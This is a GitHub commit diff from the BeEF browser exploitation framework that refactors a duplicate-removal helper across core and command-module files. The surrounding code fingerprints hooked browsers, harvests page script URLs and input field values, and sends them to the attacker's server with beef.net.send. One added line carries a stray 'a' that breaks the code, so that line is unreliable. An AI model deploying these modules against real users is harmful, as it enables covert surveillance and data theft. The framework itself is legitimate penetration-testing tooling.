File tree Expand file tree Collapse file tree 6 files changed +30
-31
lines changed
Expand file tree Collapse file tree 6 files changed +30
-31
lines changed Original file line number Diff line number Diff line change @@ -3917,12 +3917,12 @@ beef.browser = {
39173917 getPlugins : function ( ) {
39183918
39193919 var results ;
3920- Array . prototype . unique = function ( ) {
3921- var o = { } , i , l = this . length , r = [ ] ;
3922- for ( i = 0 ; i < l ; i += 1 ) o [ this [ i ] ] = this [ i ] ;
3923- for ( i in o ) r . push ( o [ i ] ) ;
3924- return r ;
3925- } ;
3920+
3921+ function unique ( array ) {
3922+ return $ . grep ( array , function ( el , index ) {
3923+ return index === $ . inArray ( el , array ) ;
3924+ } ) ;
3925+ }
39263926
39273927 // Things lacking navigator.plugins
39283928 if ( ! navigator . plugins )
@@ -3941,8 +3941,8 @@ beef.browser = {
39413941 // Sometimes store the version in description (Real, Adobe)
39423942 else results [ i ] = navigator . plugins [ i ] . name ; // + '-desc.' + navigator.plugins[i].description;
39433943 }
3944- results = results . unique ( ) . toString ( ) ;
3945-
3944+ results = unique ( results ) . toString ( ) ;
3945+
39463946 // All browsers that don't support navigator.plugins
39473947 } else {
39483948 results = new Array ( ) ;
Original file line number Diff line number Diff line change @@ -3944,12 +3944,12 @@ <h1 class="page-title">Source: browser.js</h1>
39443944 getPlugins: function () {
39453945
39463946 var results;
3947- Array.prototype.unique = function () {
3948- var o = {}, i, l = this.length, r = [];
3949- for (i = 0; i < l; i += 1) o[this[i]] = this[i];
3950- for (i in o) r.push(o[i] );
3951- return r ;
3952- };
3947+
3948+ function unique(array) {
3949+ return $.grep(array, function(el, index) {
3950+ return index === $.inArray(el, array );
3951+ }) ;
3952+ }
39533953
39543954 // Things lacking navigator.plugins
39553955 if (!navigator.plugins)
@@ -3968,7 +3968,7 @@ <h1 class="page-title">Source: browser.js</h1>
39683968 // Sometimes store the version in description (Real, Adobe)
39693969 else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
39703970 }
3971- results = results. unique().toString();
3971+ results = unique(results ).toString();
39723972
39733973 // All browsers that don't support navigator.plugins
39743974 } else {
Original file line number Diff line number Diff line change @@ -42,7 +42,7 @@ def setup()
4242
4343 # push events to logger
4444 logger = BeEF ::Core ::Logger . instance
45- events . each do |key , value |
45+ events . each do |value |
4646 logger . register ( 'Event' , parse ( value ) , zombie . id )
4747 end
4848 end
Original file line number Diff line number Diff line change @@ -10,17 +10,16 @@ beef.execute(function() {
1010 var browser_version = new Array ;
1111 var dom = document . createElement ( 'b' ) ;
1212
13- Array . prototype . unique = function ( ) {
14- var o = { } , i , l = this . length , r = [ ] ;
15- for ( i = 0 ; i < l ; i += 1 ) o [ this [ i ] ] = this [ i ] ;
16- for ( i in o ) r . push ( o [ i ] ) ;
17- return r ;
18- } ;
13+ function unique ( array ) {
14+ return $ . grep ( array , function ( el , index ) {
15+ return index === $ . inArray ( el , array ) ;
16+ } ) ;
17+ }
1918
2019 parse_browser_details = function ( ) {
2120 if ( ! browser_type . length ) browser_type [ 0 ] = "unknown" ;
2221 if ( ! browser_version . length ) browser_version [ 0 ] = "unknown" ;
23- beef . net . send ( "<%= @command_url %>" , < %= @command_id % > , "browser_type=" + browser_type . unique ( ) + "&browser_version=" + browser_version . unique ( ) ) ;
22+ beef . net . send ( "<%= @command_url %>" , < %= @command_id % > , "browser_type=" + unique ( browser_type ) + "&browser_version=" + unique ( browser_version ) ) ;
2423 } ;
2524
2625 // Browser fingerprints // in the form of: "URI","Browser","version(s)"
Original file line number Diff line number Diff line change @@ -11,12 +11,12 @@ beef.execute(function() {
1111 var results = [ ] ;
1212 var urls = "" ;
1313
14- Array . prototype . unique = function ( ) {
15- var o = { } , i , l = this . length , r = [ ] ;
16- for ( i = 0 ; i < l ; i += 1 ) o [ this [ i ] ] = this [ i ] ;
17- for ( i in o ) r . push ( o [ i ] ) ;
18- return r ;
19- } ;
14+ function unique ( array ) {
15+ return $ . grep ( array , function ( el , index ) {
16+ return index === $ . inArray ( el , array ) ;
17+ } ) ;
18+ }
19+
2020 // Fingerprints of javascript /ajax libraries . Library Name: Array of common file names
2121
2222 var fingerprints = {
@@ -69,7 +69,7 @@ beef.execute(function() {
6969 }
7070 }
7171 if ( results . length > 0 ) {
72- urls = results . unique ( ) . join ( '||' ) ;
72+ urls = unique ( results ) . join ( '||' ) ; a
7373 beef . net . send ( "<%= @command_url %>" , < %= @command_id % > , "script_urls=" + urls ) ;
7474 }
7575 else {
Original file line number Diff line number Diff line change @@ -25,7 +25,7 @@ beef.execute(function() {
2525
2626 // return input field info
2727 if ( input_values . length ) {
28- beef . net . send ( '<%= @command_url %>' , < %= @command_id % > , 'result=' + JSON . stringify ( input_values . unique ( ) ) ) ;
28+ beef . net . send ( '<%= @command_url %>' , < %= @command_id % > , 'result=' + JSON . stringify ( unique ( input_values ) ) ) ;
2929 // return if no input fields were found
3030 } else {
3131 beef . net . send ( '<%= @command_url %>' , < %= @command_id % > , 'error=Could not find any inputs fields on ' + window . location ) ;
You can’t perform that action at this time.
0 commit comments